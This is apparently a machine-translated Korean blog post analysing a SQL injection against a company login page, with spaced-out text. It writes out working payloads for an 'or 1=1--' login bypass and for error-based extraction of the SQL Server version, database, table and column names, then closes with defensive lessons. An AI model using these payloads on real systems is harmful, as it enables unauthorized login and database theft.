SQL 주입 전 과정 깊이 분석

4530 단어 SQL주입
본 고 는 SQL 주입 전 과정 을 분석 하 였 다.여러분 께 참고 하도록 공유 하 겠 습 니 다.구체 적 으로 는 다음 과 같 습 니 다.
초기 주입-검증 우회,직접 로그 인
회사 사이트 로그 인 상 자 는 다음 과 같다.

계 정 비밀 번 호 를 제외 하고 한 회사 이름 의 입력 상자 가 있 습 니 다.입력 상자 의 형식 에 따라 SQL 의 작성 방법 은 다음 과 같 습 니 다.
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
나 는 앞의 두 가지 모두 검 사 를 했 는데,세 번 째 입력 상자 가 소홀히 되 었 다 는 것 을 발견 했다.구멍 은 바로 여기에 있다!주입 시작,입력 상자 에 다음 내용 을 입력 하 십시오:
사용자 이름 을 막 쓰 고 비밀 번 호 를 비 워 둔 상태 에서 로그 인 버튼 을 눌 렀 더 니 성공 적 으로 로그 인 했 습 니 다.

최종 SQL 을 보면 그 이 유 를 찾 을 수 있 습 니 다.
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
코드 를 통 해 알 수 있 듯 이 앞 에 있 는 작은 따옴표 가 닫 히 고 뒤에 있 는 작은 따옴표 가'-'에 의 해 주석 되 었 으 며 중간 에 영원히 성립 되 는 조건 인'1=1'이 하나 더 생 겨 서 모든 문자 가 성공 적 으로 로그 인 할 수 있 는 결 과 를 초래 했다.Sql 주입 의 위 해 는 익명 로그 인 만 이 아니다.
중급 주입-이상 을 통 해 정 보 를 얻 습 니 다.
현재 세 번 째 입력 상자 에 기록 합 니 다:

‘or 1=(SELECT @@version) C

다음 과 같다.

배경 SQL 이 이렇게 되 었 습 니 다:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp=''
or 1=(SELECT @@VERSION)--'

판단 조건 이 1=(SELECT@@VERSION),
이 글 씨 는 틀림없이 오 류 를 초래 할 수 있 지만,실 수 는 바로 우리 가 원 하 는 것 이다.로그 인 을 클릭 하면 페이지 에 다음 과 같은 정보 가 나타 납 니 다.
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45
Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit)
on Windows NT 6.1 (Build 7601: Service Pack 1) ' to data type int.
무 서운 일이 벌 어 졌 다.서버 운영 체제 와 SQL Server 버 전 정보 가 오 류 를 통 해 나 왔 다.
위해 확대-서버 의 모든 라 이브 러 리 이름,표 이름,필드 이름 가 져 오기
이어서 우 리 는 입력 상자 에 다음 과 같은 정 보 를 입력 합 니 다.
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--
이때 세 번 째 입력 상자 에 글자 길이 의 제한 이 있 음 을 발 견 했 습 니 다.그러나 이러한 클 라 이언 트 의 제한 은 허구 입 니 다.
Google 브 라 우 저 를 통 해 바로 제거 할 수 있 습 니 다.

로그 인 을 누 르 면 돌아 오 는 정 보 는 다음 과 같 습 니 다.
Conversion failed when converting the nvarchar value 'master' to data type int.
데이터베이스 이름"master"가 이상 을 통 해 표 시 됩 니 다!위 SQL 문장의 번 호 를 순서대로 바 꾸 고,
서버 에 있 는 모든 데이터베이스 의 이름 을 얻 을 수 있 습 니 다.
이어서 입력 정 보 는 다음 과 같다.
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--
다음 과 같은 반환 정 보 를 얻 었 습 니 다.
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
우 리 는 master 데이터베이스 의 첫 번 째 표 이름 을 얻 었 다."spt"fallback_db”,
위 와 같이 순서대로 번 호 를 바 꾸 면 이 라 이브 러 리 의 모든 표 이름 을 얻 을 수 있 습 니 다.
지금 우 리 는"spt"로fallback_db 표 의 예 를 들 어 이 표 의 모든 필드 이름 을 가 져 오 려 고 합 니 다.입력 상자 에 다음 코드 를 입력 하 십시오:
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');
그래서 다음 과 같은 오 류 를 얻 었 습 니 다.
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
이렇게 첫 번 째 필드 이름"xservername'이 나 왔 습 니 다.번 호 를 차례대로 바 꾸 면 모든 필드 이름 을 옮 겨 다 닐 수 있 습 니 다.
최종 목적-데이터베이스 데이터 가 져 오기
여기까지 썼 습 니 다.우 리 는 SQL 주입 을 통 해 모든 데이터 베이스,표,필드 를 얻 을 수 있다 는 것 을 알 고 있 습 니 다.본 논문 이 완전히 주입 튜 토리 얼 로 전락 하 는 것 을 방지 하기 위해 데 이 터 를 얻 는 코드 는 더 이상 설명 하지 않 습 니 다.이 글 의 목적 도 달성 되 었 습 니 다.SQL 주입 은 무엇 을 의미 합 니까?데이터베이스 에 있 는 모든 데 이 터 를 도 둑 맞 을 수 있다 는 뜻 이다.
이 위 해 를 알 게 된 후에 도 SQL 주입 구멍 을 무시 하 는 사람 이 있 을 수 있 습 니까?
결어
안전성 에 대해 본 고 는 몇 가 지 를 요약 할 수 있다.
1.사용자 가 입력 한 내용 에 대해 항상 경계해 야 한다.
2.클 라 이언 트 의 인증 만 검증 되 지 않 은 것 과 같다.
3.서버 오류 정 보 를 사용자 에 게 노출 시 키 지 마 세 요.
그 밖 에 나 는 몇 가 지 를 더 보충 해 야 한다.
1.SQL 주입 은 입력 상자 뿐만 아니 라 Url 을 통 해 목적 을 달성 할 수 있 습 니 다.
2.서버 오류 페이지 를 제외 하고 데이터베이스 정 보 를 얻 을 수 있 는 다른 방법 도 있다.
3.소프트웨어 를 통 해 주입 행 위 를 모 의 할 수 있 는데 이런 방식 으로 정 보 를 훔 치 는 속도 가 생각 보다 빠르다.
4.구멍 은 언어 플랫폼 과 무관 하 다.

좋은 웹페이지 즐겨찾기